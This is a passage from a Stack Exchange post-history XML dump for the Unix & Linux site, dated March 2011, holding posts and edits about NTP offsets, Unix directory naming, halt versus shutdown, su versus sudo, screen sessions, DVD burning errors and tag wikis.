0.027&#xD;&#xA;     LOCAL(0)        .LOCL.          10 l    3   64  377    0.000    0.000   0.001&#xD;&#xA;&#xD;&#xA;Which shows (offset) that my system is &lt;1 second out of sync - I can live with that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/ntpq" />
  <row Id="20518" PostHistoryTypeId="2" PostId="8686" RevisionGUID="291a0e3f-2f2b-487b-80d1-174435e3e037" CreationDate="2011-03-06T13:40:15.267" UserId="5415" Text="Find more answers [here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/603785/environment-variables-in-mac-os-x" />
  <row Id="20519" PostHistoryTypeId="6" PostId="8684" RevisionGUID="26ed1d2a-b902-42bd-b240-df14de3c243a" CreationDate="2011-03-06T13:53:16.403" UserId="885" Comment="edited tags" Text="édebianàéntpdà" />
  <row Id="20520" PostHistoryTypeId="2" PostId="8687" RevisionGUID="441d93b8-0c4e-4b09-aedb-7fde916902cb" CreationDate="2011-03-06T14:15:38.793" UserId="2351" Text="&gt; All the other directories under root&#xD;&#xA;&gt; seem to be exactly what one would&#xD;&#xA;&gt; guess them to be,&#xD;&#xA;&#xD;&#xA;There is also /var, /mnt and /opt ;)&#xD;&#xA;&#xD;&#xA;&gt; but these two seem&#xD;&#xA;&gt; odd, I would have always guessed them&#xD;&#xA;&gt; as user and temp.&#xD;&#xA;&#xD;&#xA;Almost there. As Shawn said, &quot;user&quot; stands for &quot;Universal System Resources&quot; (though other resources according to *teh google* indicates it stands for &quot;Unix System Resources&quot;).&#xD;&#xA;&#xD;&#xA;&gt; Is there some historical reason for the spellings?&#xD;&#xA;&#xD;&#xA;Short cuts, abbreviations. Remember that commands in any operating system are meant for accessing both interactively and programmatically. In particular for systems administration where fast scripting is one primary concern, abbreviations, mnemonics are as good (or even better) than the full spelled word/command. &#xD;&#xA;&#xD;&#xA;Also, back in the day, if you were connecting remotely through a slow-as-molasses modem, shaving a couple of vowels here and there would make your life easier (or less miserable if you were a sysadmin trying to find out what the hell is wrong with a remote box.)&#xD;&#xA;&#xD;&#xA;As said before, it is not unique to /usr and /tmp (see /var, /mnt and /opt).&#xD;&#xA;&#xD;&#xA;Also, it is not unique to Unix. Take DOS for example (chkdsk, for example.) Mnemonics where you shave off vowels are a powerful, handy concept. &#xD;&#xA;&#xD;&#xA;Even in natural languages (like Semitic languages) the concept exist (where root of words are universally and almost unambiguously identified by 3-consonant groups.) It is an innate human mechanism for managing information." />
  <row Id="20521" PostHistoryTypeId="25" PostId="8684" RevisionGUID="829506a5-d438-4cd0-9978-da0e6ec4fabb" CreationDate="2011-03-06T14:23:39.857" Comment="http://twitter.com/#!/StackUnix/status/44402768634589184" />
  <row Id="20522" PostHistoryTypeId="5" PostId="8680" RevisionGUID="79e64b2c-4c7f-43d6-98af-6ff55cb6a837" CreationDate="2011-03-06T16:20:24.973" UserId="4520" Comment="Add some specs on PDP-7; added 6 characters in body" Text="They are holdover from Unix.  Memory and disk space was in short supply. Hacking out a few vowels and other abbreviations gave real savings.  A few disk blocks or a few bytes could mean the difference in being able to run a program or not.  (I once had to trim a program by 24 bytes before it would run.)&#xD;&#xA;&#xD;&#xA;Also as Tom noted terminal speeds were slow.  1200 baud was introduced as high speed and it was.  I worked with one system that used a half speed teletype (55 baud or 5 cps) as the console.&#xD;&#xA;&#xD;&#xA;On systems running graphical interfaces it generally doesn't matter that much as the average users won't be poking around in them.  The directories are usually well documented in the `hier` man page. &#xD;&#xA;&#xD;&#xA;Changing over to longer names would cause a lot of problems for existing programs.  It would also limit script portability.  Linking multiple names to the same directories would likely be more confusing than helpful.&#xD;&#xA;&#xD;&#xA;EDIT: PDP-7 on which Unix was developed had a base configuration of 4KW of memory and a maximum of 32KW.  Words where 18 bits wide.  Input was a teletype, so speed was likely 110 baud or 10cps, roughly 100 words which is significantly slower than speech.  " />
  <row Id="20523" PostHistoryTypeId="2" PostId="8688" RevisionGUID="eebbb7fd-05c7-426a-ad6c-fc7c0228a05b" CreationDate="2011-03-06T16:49:47.587" UserId="5420" Text="hi&#xD;&#xA;&#xD;&#xA;there is 200 user in my network, and these users in two AD groups and cannot set specific ip range for each group.&#xD;&#xA;&#xD;&#xA;i want to set for each group value of bandwidth that share between users of groups.&#xD;&#xA;&#xD;&#xA;i can manage bandwidth for a ip with squid also with iptables+tc&#xD;&#xA;&#xD;&#xA;but i want set bandwidth for groups of ips that share between users of that.&#xD;&#xA;&#xD;&#xA;any solution?" />
  <row Id="20524" PostHistoryTypeId="1" PostId="8688" RevisionGUID="eebbb7fd-05c7-426a-ad6c-fc7c0228a05b" CreationDate="2011-03-06T16:49:47.587" UserId="5420" Text="badwidth share between ips" />
  <row Id="20525" PostHistoryTypeId="3" PostId="8688" RevisionGUID="eebbb7fd-05c7-426a-ad6c-fc7c0228a05b" CreationDate="2011-03-06T16:49:47.587" UserId="5420" Text="élinuxàéiptablesàébandwidthàésquidà" />
  <row Id="20526" PostHistoryTypeId="2" PostId="8689" RevisionGUID="64697f31-ac76-4a07-9833-15c33d5df6dd" CreationDate="2011-03-06T17:02:13.410" UserId="4520" Text="If you have peer stats enabled in your `/etc/ntp.conf` then you have statistics in `/var/log/ntpstats/peerstats`. (Directory and file name will be specified in ntp.conf).   You can scan it to see how well you are tracking your servers.  The command `grep -v 127.127.1.0 /var/log/ntpstats/peerstats` will output all the lines except those for your local clock.  The first floating point number is the offset in seconds.  The closer it is to zero the better.  Their should be a mix of positive and negative values.  Use zgrep to look a historical data in the rotated logs with a `.gz` extension.  &#xD;&#xA;&#xD;&#xA;To see what the values are use `ntpq -p` as Lain suggested. &#xD;&#xA;&#xD;&#xA;If you run Munin to monitor your system it can track you ntp statistcs for you.  I believe the offset it records is the value relative to the currently synchronization source.  That is the one on the line starting with an asterisk (*) in the `ntpq -p` output.  Munin can be configured to notify your offset is too large. My waring lines are as follows (times in milliseconds):&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;    ntp_offset.delay.warning    40&#xD;&#xA;    ntp_offset.offset.warning   -15:15&lt;/pre&gt;" />
  <row Id="20527" PostHistoryTypeId="2" PostId="8690" RevisionGUID="d6d8688b-35dc-4ff1-b62f-3fbc87d431db" CreationDate="2011-03-06T17:06:59.483" UserId="2897" Text="What is the difference between the Halt and Shutdown commands?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="20528" PostHistoryTypeId="1" PostId="8690" RevisionGUID="d6d8688b-35dc-4ff1-b62f-3fbc87d431db" CreationDate="2011-03-06T17:06:59.483" UserId="2897" Text="What is the difference between Halt and Shutdown commands?" />
  <row Id="20529" PostHistoryTypeId="3" PostId="8690" RevisionGUID="d6d8688b-35dc-4ff1-b62f-3fbc87d431db" CreationDate="2011-03-06T17:06:59.483" UserId="2897" Text="éshutdownàécommandà" />
  <row Id="20530" PostHistoryTypeId="25" PostId="8690" RevisionGUID="2c80a9c0-79b0-4ca6-9f59-3159bfca5597" CreationDate="2011-03-06T17:23:39.913" Comment="http://twitter.com/#!/StackUnix/status/44448067713380352" />
  <row Id="20531" PostHistoryTypeId="5" PostId="8689" RevisionGUID="a4a4321f-3691-4aa2-996e-4fdc6f56d444" CreationDate="2011-03-06T17:24:42.197" UserId="591" Comment="Fixed my name :)" Text="If you have peer statistics enabled in your `/etc/ntp.conf` then you have statistics in `/var/log/ntpstats/peerstats`. (Directory and file name will be specified in ntp.conf).   You can scan it to see how well you are tracking your servers.  The command `grep -v 127.127.1.0 /var/log/ntpstats/peerstats` will output all the lines except those for your local clock.  The first floating point number is the offset in seconds.  The closer it is to zero the better.  There should be a mix of positive and negative values.  Use zgrep to look a historical data in the rotated logs with a `.gz` extension.  &#xD;&#xA;&#xD;&#xA;To see what the values are use `ntpq -p` as Iain suggested. &#xD;&#xA;&#xD;&#xA;If you run Munin to monitor your system it can track you ntp statistcs for you.  I believe the offset it records is the value relative to the currently synchronization source.  That is the one on the line starting with an asterisk (*) in the `ntpq -p` output.  Munin can be configured to notify your offset is too large. My warning lines are as follows (times in milliseconds):&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;    ntp_offset.delay.warning    40&#xD;&#xA;    ntp_offset.offset.warning   -15:15&lt;/pre&gt;" />
  <row Id="20532" PostHistoryTypeId="24" PostId="8689" RevisionGUID="a4a4321f-3691-4aa2-996e-4fdc6f56d444" CreationDate="2011-03-06T17:24:42.197" Comment="Proposed by 591 approved by 73 edit id of 182" />
  <row Id="20535" PostHistoryTypeId="2" PostId="8692" RevisionGUID="35d46a63-13c1-491e-bd88-d627088ac894" CreationDate="2011-03-06T17:40:55.787" UserId="591" Text="I suspect this is somewhat dependant on which version of UNIX/Linux you are using. On Centos (and I expec other modern Linux) halt calls shutdown (providing you're not at [runlevel][1] 0 or 6) so your system will be shutdown cleanly. On Solaris 10 halt is more brutal, it just flushes the disk caches and powers off the system - no attempt is made to run any scripts or shutdown [smf][2] facilities. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Runlevel&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Service_Management_Facility" />
  <row Id="20536" PostHistoryTypeId="2" PostId="8693" RevisionGUID="74e83c3c-65fa-474d-9892-348556a7809a" CreationDate="2011-03-06T17:43:32.453" UserId="4949" Text="In linux, &quot;halt&quot; and &quot;reboot&quot; are aliases of the shutdown command -- `shutdown -h` and `shutdown -r` respectively. Bareword shutdown generally assumes -h." />
  <row Id="20537" PostHistoryTypeId="2" PostId="8694" RevisionGUID="f4308026-8631-4d67-a41d-5f6c480bc17d" CreationDate="2011-03-06T18:09:08.307" UserId="5426" Text="Generally, one uses the [`shutdown` command](http://linux.die.net/man/8/shutdown). It allows a time delay and warning message before shutdown or reboot, which is important for system administration of multiuser shell servers; it can provide the users with advance notice of the downtime.&#xD;&#xA;&#xD;&#xA;As such, the shutdown command has to be used like this to halt/switch off the computer immediately (on Linux and FreeBSD at least):&#xD;&#xA;&#xD;&#xA;    shutdown -h now&#xD;&#xA;&#xD;&#xA;Or to reboot it with a custom, 30 minute advance warning:&#xD;&#xA;&#xD;&#xA;    shutdown -r +30 &quot;Planned software upgrades&quot;&#xD;&#xA;&#xD;&#xA;After the delay, `shutdown` tells [`init`](http://linux.die.net/man/8/init) to change to runlevel 0 (halt) or 6 (reboot). (Note that omitting `-h` or `-r` will cause the system to go into single-user mode (runlevel 1), which kills most system processes but does not actually halt the system; it still allows the administrator to remain logged in as root.)&#xD;&#xA;&#xD;&#xA;Once system processes have been killed and filesystems have been unmounted, the system halts/powers off or reboots automatically. This is done using the [`halt` or `reboot` command](http://linux.die.net/man/8/halt), which syncs changes to disks and then performs the actual halt/power off or reboot.&#xD;&#xA;&#xD;&#xA;On Linux, if `halt` or `reboot` is run when the system has not already started the shutdown process, it will invoke the `shutdown` command automatically rather than directly performing its intended action. However, [on systems such as FreeBSD](http://www.gsp.com/cgi-bin/man.cgi?section=8&amp;topic=halt), these commands first log the action in [`wtmp`](http://www.gsp.com/cgi-bin/man.cgi?section=5&amp;topic=wtmp) and then will *immediately* perform the halt/reboot themselves, without first killing processes or unmounting filesystems." />
  <row Id="20538" PostHistoryTypeId="2" PostId="8695" RevisionGUID="be981045-97e6-4899-8261-f76496767a2e" CreationDate="2011-03-06T18:25:06.637" UserId="5429" Text="The command `su -` will execute the root users profile and take on that user's environment including path etc. `sudo` does not do that.&#xD;&#xA;&#xD;&#xA;If you'd like `sudo` to behave like `su -` then use the option `sudo -i [command` which will execute the user's profile&#xD;&#xA;&#xD;&#xA;If you'd like `su -` to behave like `sudo` then don't use the hyphen - just use `su [command]`" />
  <row Id="20539" PostHistoryTypeId="2" PostId="8696" RevisionGUID="607171fc-eac4-43f9-ab76-17f10be413c2" CreationDate="2011-03-06T18:31:35.147" UserId="5429" Text="Using GNU `screen` is your best bet.&#xD;&#xA;&#xD;&#xA;Start screen running when you first login - I run `screen -D -R`, run your command, and either disconnect or suspend it with `CTRL-Z` and then disconnect from screen by pressing `CTRL-A` then `D`.&#xD;&#xA;&#xD;&#xA;When you login to the machine again, reconnect by running `screen -D -R`. You will be in the same shell as before. You can run `jobs` to see the suspended process if you did so, and run `%1` (or the respective job #) to foreground it again." />
  <row Id="20540" PostHistoryTypeId="2" PostId="8697" RevisionGUID="bc2226b7-3e61-4b8d-8e82-90825c83ef34" CreationDate="2011-03-06T18:37:01.883" UserId="5432" Text="Yesterday I installed Debian 6 on my Macbook, with dualboot.&#xD;&#xA;Everything is working fine, except for the keyboard.&#xD;&#xA;&#xD;&#xA;As I'm typing, I see the mouse arrow moving a bit and strange things happen, such as text under the arrow being highlighted or clicked.&#xD;&#xA;&#xD;&#xA;Other things as Right-Click, selecting text and other mouse-related events also happen.&#xD;&#xA;&#xD;&#xA;It's being really hard to type like this.&#xD;&#xA;&#xD;&#xA;Anyone have any ideas of what might be the cause and how I can fix this?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="20541" PostHistoryTypeId="1" PostId="8697" RevisionGUID="bc2226b7-3e61-4b8d-8e82-90825c83ef34" CreationDate="2011-03-06T18:37:01.883" UserId="5432" Text="Keyboard behaving strangely on Debian - Dualboot on Macbook" />
  <row Id="20542" PostHistoryTypeId="3" PostId="8697" RevisionGUID="bc2226b7-3e61-4b8d-8e82-90825c83ef34" CreationDate="2011-03-06T18:37:01.883" UserId="5432" Text="édebianàékeyboardàémacintoshàémouseà" />
  <row Id="20543" PostHistoryTypeId="2" PostId="8698" RevisionGUID="a396e71a-3c03-4e74-b55b-1e595abc60fe" CreationDate="2011-03-06T20:21:22.397" UserId="5437" Text="Hey,&#xD;&#xA;&#xD;&#xA;could please anybody help me identify what is the source of problem ?  the problem is that after some time or after opening a window of some application in X, it seems like I suddenly lost 2d acceleration.&#xD;&#xA;&#xD;&#xA;Because the process /usr/bin/X and all its operations ( window resizing, scrolling) suddenly eats 60% to 150% of CPUs runtime when scrolling window for instance.&#xD;&#xA;&#xD;&#xA;I'm using twinview, but it happens even without it, but not so much. I'm not using any composition in KDE or xfce&#xD;&#xA;&#xD;&#xA;the nvidia driver installation logs looks there was no problem during the installation&#xD;&#xA;&#xD;&#xA; I tried various different kernel versions, 2 different Xorg version, 2 versions of nvidia driver&#xD;&#xA;and even different window managers&#xD;&#xA;&#xD;&#xA; it only happens in particular time frames, if I open some specific www page or application in browser or it comes from nowhere. &#xD;&#xA;&#xD;&#xA;It is possible that it could be triggered by some flash animation, gif animation, javascript scrolling text or other effects in browser, but it is really hard to say, because it usually appears suddenly (when reading something in browser for instance)&#xD;&#xA;&#xD;&#xA;as far as xorg.conf, I have the default one from nvidia-settings. I also tried various possible configurations and modules.&#xD;&#xA;&#xD;&#xA; I have glxgears 2.241 FPS and after the problem is gone I have 6267.623 FPS&#xD;&#xA;&#xD;&#xA;        Slackware-current - kernel 2.6.35.11 kernel 2.6.35.10 kernel 2.6.36.x&#xD;&#xA;        X.Org X Server 1.9.4&#xD;&#xA;        KDE 4.5.5   or   xfce-4.6.2&#xD;&#xA;        NVIDIA-Linux-x86_64-260.19.36  + twinview&#xD;&#xA;        &#xD;&#xA;        Geforce 8400 GS&#xD;&#xA;    &#xD;&#xA;    APPS: google-chrome-8&#xD;&#xA;          XChat 2.8.8&#xD;&#xA;          eclipse-3.6" />
  <row Id="20544" PostHistoryTypeId="1" PostId="8698" RevisionGUID="a396e71a-3c03-4e74-b55b-1e595abc60fe" CreationDate="2011-03-06T20:21:22.397" UserId="5437" Text="Some sort of X.org memory leak using nvidia proprietary driver" />
  <row Id="20545" PostHistoryTypeId="3" PostId="8698" RevisionGUID="a396e71a-3c03-4e74-b55b-1e595abc60fe" CreationDate="2011-03-06T20:21:22.397" UserId="5437" Text="éxorgàéslackwareàénvidiaà" />
  <row Id="20546" PostHistoryTypeId="25" PostId="8697" RevisionGUID="1a6fc62f-ddc3-4c3d-ad64-009365c1eea5" CreationDate="2011-03-06T20:23:39.760" Comment="http://twitter.com/#!/StackUnix/status/44493364908929024" />
  <row Id="20547" PostHistoryTypeId="2" PostId="8699" RevisionGUID="ff539a56-3fbe-4b7f-b938-c45387a130b1" CreationDate="2011-03-06T21:02:20.690" UserId="5437" Text="Hey,&#xD;&#xA;&#xD;&#xA;is there something out there ? Like **top** is for **ps** " />
  <row Id="20548" PostHistoryTypeId="1" PostId="8699" RevisionGUID="ff539a56-3fbe-4b7f-b938-c45387a130b1" CreationDate="2011-03-06T21:02:20.690" UserId="5437" Text="Is there a utility that interprets /proc/interrupts data in time ?" />
  <row Id="20549" PostHistoryTypeId="3" PostId="8699" RevisionGUID="ff539a56-3fbe-4b7f-b938-c45387a130b1" CreationDate="2011-03-06T21:02:20.690" UserId="5437" Text="élinuxàéprocàéinterruptà" />
  <row Id="20550" PostHistoryTypeId="5" PostId="8659" RevisionGUID="2c767d3d-43a2-489d-a7bc-d3651b5f9d91" CreationDate="2011-03-06T21:06:49.877" UserId="4856" Comment="reformatted a bit, about to post updated solution" Text="I have been trying to burn a few ISOs lately with no success and have certainly used this hardware in the past, so I am not sure what's going on. I am using DVD-R media (tried multiple discs) which appears to be supported by my drive. Here is the error I received in GnomeBaker on Fedora 14 (64):&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;&#xD;&#xA;Executing 'builtin_dd if=/home/tja/Downloads/Torrents/bodhi_0.1.6.iso of=/dev/sr0 obs=32k seek=0'&#xD;&#xA;:-[ PERFORM OPC failed with SK=2h/CANNOT WRITE MEDIUM - INCOMPATIBLE FORMAT]: Wrong medium type&#xD;&#xA;/dev/sr0: &quot;Current Write Speed&quot; is 1.0x1352KBps.&#xD;&#xA;:-[ WRITE@LBA=0h failed with SK=2h/CANNOT WRITE MEDIUM - INCOMPATIBLE FORMAT]: Wrong medium type&#xD;&#xA;:-( media is not formatted or unsupported.&#xD;&#xA;:-( write failed: Wrong medium type&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;...and this:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;&#xD;&#xA;$ cdrecord -prcap&#xD;&#xA;wodim: Operation not permitted. Warning: Cannot raise RLIMIT_MEMLOCK limits.&#xD;&#xA;Device was not specified. Trying to find an appropriate drive...&#xD;&#xA;Detected CD-R drive: /dev/cdrw&#xD;&#xA;Using /dev/cdrom of unknown capabilities&#xD;&#xA;Device type    : Removable CD-ROM&#xD;&#xA;Version        : 5&#xD;&#xA;Response Format: 2&#xD;&#xA;Capabilities   : &#xD;&#xA;Vendor_info    : 'Memorex '&#xD;&#xA;Identification : 'DVD+/-DLRWL1 F16'&#xD;&#xA;Revision       : 'BWSB'&#xD;&#xA;Device seems to be: Generic mmc2 DVD-R/DVD-RW.&#xD;&#xA;&#xD;&#xA;Drive capabilities, per MMC-3 page 2A:&#xD;&#xA;&#xD;&#xA;  Does read CD-R media&#xD;&#xA;  Does write CD-R media&#xD;&#xA;  Does read CD-RW media&#xD;&#xA;  Does write CD-RW media&#xD;&#xA;  Does read DVD-ROM media&#xD;&#xA;  Does read DVD-R media&#xD;&#xA;  Does write DVD-R media&#xD;&#xA;  Does not read DVD-RAM media&#xD;&#xA;  Does not write DVD-RAM media&#xD;&#xA;  Does support test writing&#xD;&#xA;&#xD;&#xA;  Does read Mode 2 Form 1 blocks&#xD;&#xA;  Does read Mode 2 Form 2 blocks&#xD;&#xA;  Does read digital audio blocks&#xD;&#xA;  Does restart non-streamed digital audio reads accurately&#xD;&#xA;  Does support Buffer-Underrun-Free recording&#xD;&#xA;  Does read multi-session CDs&#xD;&#xA;  Does read fixed-packet CD media using Method 2&#xD;&#xA;  Does not read CD bar code&#xD;&#xA;  Does read R-W subcode information&#xD;&#xA;  Does not return R-W subcode de-interleaved and error-corrected&#xD;&#xA;  Does read raw P-W subcode data from lead in&#xD;&#xA;  Does return CD media catalog number&#xD;&#xA;  Does return CD ISRC information&#xD;&#xA;  Does support C2 error pointers&#xD;&#xA;  Does not deliver composite A/V data&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;more info:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;&#xD;&#xA;&#xD;&#xA;$ dvd+rw-mediainfo /dev/sr0&#xD;&#xA;INQUIRY:                [Memorex ][DVD+/-DLRWL1 F16][BWSB]&#xD;&#xA;GET [CURRENT] CONFIGURATION:&#xD;&#xA; Mounted Media:         11h, DVD-R Sequential&#xD;&#xA; Media ID:              RITEKF1     &#xD;&#xA; Current Write Speed:   4.0x1385=5540KB/s&#xD;&#xA; Write Speed #0:        4.0x1385=5540KB/s&#xD;&#xA; Write Speed #1:        2.0x1385=2770KB/s&#xD;&#xA; Write Speed #2:        1.0x1385=1385KB/s&#xD;&#xA;GET [CURRENT] PERFORMANCE:&#xD;&#xA; Write Performance:     4.0x1385=5540KB/s@[0 -&gt; 0]&#xD;&#xA; Speed Descriptor#0:    00/0 R@3.2x1385=4432KB/s W@4.0x1385=5540KB/s&#xD;&#xA; Speed Descriptor#1:    00/0 R@3.2x1385=4432KB/s W@2.0x1385=2770KB/s&#xD;&#xA; Speed Descriptor#2:    00/0 R@3.2x1385=4432KB/s W@1.0x1385=1385KB/s&#xD;&#xA;READ DVD STRUCTURE[#10h]:&#xD;&#xA; Media Book Type:       00h, DVD-ROM book [revision 0]&#xD;&#xA; Legacy lead-out at:    2298496*2KB=4707319808&#xD;&#xA;READ DVD STRUCTURE[#0h]:&#xD;&#xA; Media Book Type:       25h, DVD-R book [revision 5]&#xD;&#xA; Last border-out at:    2045*2KB=4188160&#xD;&#xA;READ DISC INFORMATION:&#xD;&#xA; Disc status:           blank&#xD;&#xA; Number of Sessions:    1&#xD;&#xA; State of Last Session: empty&#xD;&#xA; &quot;Next&quot; Track:          1&#xD;&#xA; Number of Tracks:      1&#xD;&#xA;READ TRACK INFORMATION[#1]:&#xD;&#xA; Track State:           invisible incremental&#xD;&#xA; Track Start Address:   0*2KB&#xD;&#xA; Next Writable Address: 0*2KB&#xD;&#xA; Free Blocks:           2297888*2KB&#xD;&#xA; Track Size:            2297888*2KB&#xD;&#xA;READ CAPACITY:          0*2048=0&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Does anyone have any ideas as to what caused this? I just reinstalled Fedora today (for other reasons) and I am still unable to burn a DVD. I am using Memorex DVD-R discs, and have tried different ones. The drive appears to read media just fine.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="20551" PostHistoryTypeId="5" PostId="8699" RevisionGUID="ab4a91f8-9b3c-45a6-bdd9-18f3ad987fe5" CreationDate="2011-03-06T21:09:09.250" UserId="5437" Comment="added 60 characters in body; added 4 characters in body" Text="Hey,&#xD;&#xA;&#xD;&#xA;is there something out there ? Like **top** is for **ps** &#xD;&#xA;&#xD;&#xA;ANSWERED:&#xD;&#xA;&#xD;&#xA;    watch -n0.1 --no-title cat /proc/interrupts" />
  <row Id="20552" PostHistoryTypeId="6" PostId="8677" RevisionGUID="3430dc6b-94c1-4244-b6c4-0c71c813628d" CreationDate="2011-03-06T21:10:07.503" UserId="885" Comment="edited tags" Text="éhistoryàéterminologyàédirectoryöstructureà" />
  <row Id="20553" PostHistoryTypeId="2" PostId="8700" RevisionGUID="cda12fc8-eed8-4d38-bcf0-ff5ffe98fe3e" CreationDate="2011-03-06T21:16:57.103" UserId="2874" Text="This was easy in Thunar, but now I'm on a machine where I'm trying to do everything in the Gnome desktop world.   &#xD;&#xA;&#xD;&#xA;In Nautilus, I'm in some deep-down folder.   How do I open an xterm (rxvt, aterm, gnome's terminal app, whichever) with its working directory already set to the location Nautilus is showing?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20554" PostHistoryTypeId="1" PostId="8700" RevisionGUID="cda12fc8-eed8-4d38-bcf0-ff5ffe98fe3e" CreationDate="2011-03-06T21:16:57.103" UserId="2874" Text="How to start an xterm from Nautilus, alreacy cwd'd to that folder?" />
  <row Id="20555" PostHistoryTypeId="3" PostId="8700" RevisionGUID="cda12fc8-eed8-4d38-bcf0-ff5ffe98fe3e" CreationDate="2011-03-06T21:16:57.103" UserId="2874" Text="élinuxàégnomeàénautilusàéxtermà" />
  <row Id="20556" PostHistoryTypeId="2" PostId="8701" RevisionGUID="fd760031-88f8-4733-a4a0-a7a18e61eb14" CreationDate="2011-03-06T21:26:06.020" UserId="3860" Text="There is a very useful Nautilus extension called `nautilus-open-terminal` that does just what you asked. You should find it in the standard repositories." />
  <row Id="20557" PostHistoryTypeId="2" PostId="8702" RevisionGUID="a1f6848e-4f85-4f11-8aa0-a28a092180f5" CreationDate="2011-03-06T21:26:46.053" UserId="5437" Text="    watch -n0.1 --no-title cat /proc/interrupts" />
  <row Id="20558" PostHistoryTypeId="5" PostId="8699" RevisionGUID="5edc6d4f-ff08-4a48-9d19-6d056ca56c54" CreationDate="2011-03-06T21:27:03.570" UserId="5437" Comment="deleted 62 characters in body" Text="Hey,&#xD;&#xA;&#xD;&#xA;is there something out there ? Like **top** is for **ps** &#xD;&#xA;" />
  <row Id="20559" PostHistoryTypeId="6" PostId="666" RevisionGUID="10799165-25ed-424d-ad05-56b27580b9d2" CreationDate="2011-03-06T22:12:07.393" UserId="885" Comment="edited tags" Text="édateà" />
  <row Id="20560" PostHistoryTypeId="6" PostId="3422" RevisionGUID="445a078d-5a97-432c-a725-c9e1b2ebef11" CreationDate="2011-03-06T22:14:13.803" UserId="885" Comment="edited tags" Text="éterminalàékeyboardà" />
  <row Id="20561" PostHistoryTypeId="6" PostId="3438" RevisionGUID="6afbcc92-5b80-48f2-9d1d-09e5947d89b6" CreationDate="2011-03-06T22:14:36.080" UserId="885" Comment="edited tags" Text="écareerà" />
  <row Id="20562" PostHistoryTypeId="6" PostId="3953" RevisionGUID="ae849fdd-ec49-4df8-ad9b-8e80e93323c3" CreationDate="2011-03-06T22:15:36.560" UserId="885" Comment="edited tags" Text="éscriptingàéprintingà" />
  <row Id="20563" PostHistoryTypeId="6" PostId="4782" RevisionGUID="f0ed20ab-f76b-4ee3-8087-a270ced68d36" CreationDate="2011-03-06T22:15:54.050" UserId="885" Comment="edited tags" Text="ébashàéshellàécommandölineà" />
  <row Id="20564" PostHistoryTypeId="6" PostId="4885" RevisionGUID="35c9adaa-3462-4640-96bd-c5be93478372" CreationDate="2011-03-06T22:16:10.837" UserId="885" Comment="edited tags" Text="éfindàéexecutableà" />
  <row Id="20565" PostHistoryTypeId="6" PostId="4920" RevisionGUID="e8170248-ed8e-47d3-b676-4f9a425d8d97" CreationDate="2011-03-06T22:16:32.957" UserId="885" Comment="edited tags" Text="éunixàémemoryàéhistoryàésharedömemoryà" />
  <row Id="20566" PostHistoryTypeId="6" PostId="5070" RevisionGUID="575a6f1b-bb53-4e2c-adcb-9a8e3dee8900" CreationDate="2011-03-06T22:17:06.810" UserId="885" Comment="edited tags" Text="élinuxàéwindowsàéserveràébsdà" />
  <row Id="20567" PostHistoryTypeId="6" PostId="4618" RevisionGUID="fbcb6532-bfaf-4f2f-ab54-613dad5b4868" CreationDate="2011-03-06T22:17:44.157" UserId="885" Comment="edited tags" Text="éosxàéwindowà" />
  <row Id="20568" PostHistoryTypeId="2" PostId="8703" RevisionGUID="134d3e5e-cbd8-42fa-bcbe-ecfa9031959c" CreationDate="2011-03-06T22:20:48.677" UserId="885" Text="This tag is about windows as a GUI element. Use [tag:windows] for questions about interoperability with the [Windows](http://en.wikipedia.org/wiki/Microsoft_Windows) operating system. See also [tag:desktop-environment], [tag:window-manager], [tag:x11], [tag:xorg]." />
  <row Id="20569" PostHistoryTypeId="2" PostId="8704" RevisionGUID="d42b3872-8877-4d58-a3b6-dde1fa09fa4b" CreationDate="2011-03-06T22:20:48.677" UserId="885" Text="The window is a fundamental concept in graphical user interfaces." />
  <row Id="20570" PostHistoryTypeId="5" PostId="1902" RevisionGUID="18d91d3f-06f5-4579-b381-f3becf58b65a" CreationDate="2011-03-06T22:24:23.383" UserId="885" Comment="reinforce recommendation not to use the unix tag" Text="Unix in general is the topic of this site. Do not use this tag unless your question is about the historical UNIX product from AT&amp;T. If your question is about a particular unix variant (e.g. [tag:linux], [tag:freebsd], [tag:solaris], …) or a particular application, use the corresponding tag. Otherwise stick to one or more tags reflecting what you are trying to do.&#xD;&#xA;&#xD;&#xA;Unix is an operating system that was initially developed at AT&amp;T Bell Labs as a simpler [Multics](http://en.wikipedia.org/wiki/Multics). Since then, there have been many operating systems based on Unix, at least reproducing the interfaces if not the design and sometimes the code.&#xD;&#xA;&#xD;&#xA;### Legal status&#xD;&#xA;&#xD;&#xA;The original Unix code is proprietary software, originally owned by AT&amp;T and licensed by several companies. This spurned several groups into developing independent code bases with similar design. The best known are [tag:bsd] and [tag:linux].&#xD;&#xA;&#xD;&#xA;UNIX® is a registered trade mark owned by [The Open Group](http://www.opengroup.org/). Only [certified](http://www.opengroup.org/platform/unix_certification/) products may use the [brand](http://www.unix.org/what_is_unix/the_brand.html).&#xD;&#xA;&#xD;&#xA;In informal usage, “unix” or “Unix” or “Un*x” or “*nix” can mean any Unix-like system, whether it is derived from the original code or not, and whether it has the brand or not.&#xD;&#xA;&#xD;&#xA;### Standards&#xD;&#xA;&#xD;&#xA;The [POSIX](http://en.wikipedia.org/wiki/POSIX) and [Single UNIX](http://en.wikipedia.org/wiki/Single_Unix) standards codify many interfaces for programmers and command-line users.&#xD;&#xA;&#xD;&#xA;* [The Single UNIX® Specification, Version 2](http://pubs.opengroup.org/onlinepubs/7990989775/) (a superset of the original POSIX, which is IEEE 1003 and ISO/IEC 9945)&#xD;&#xA;* [The 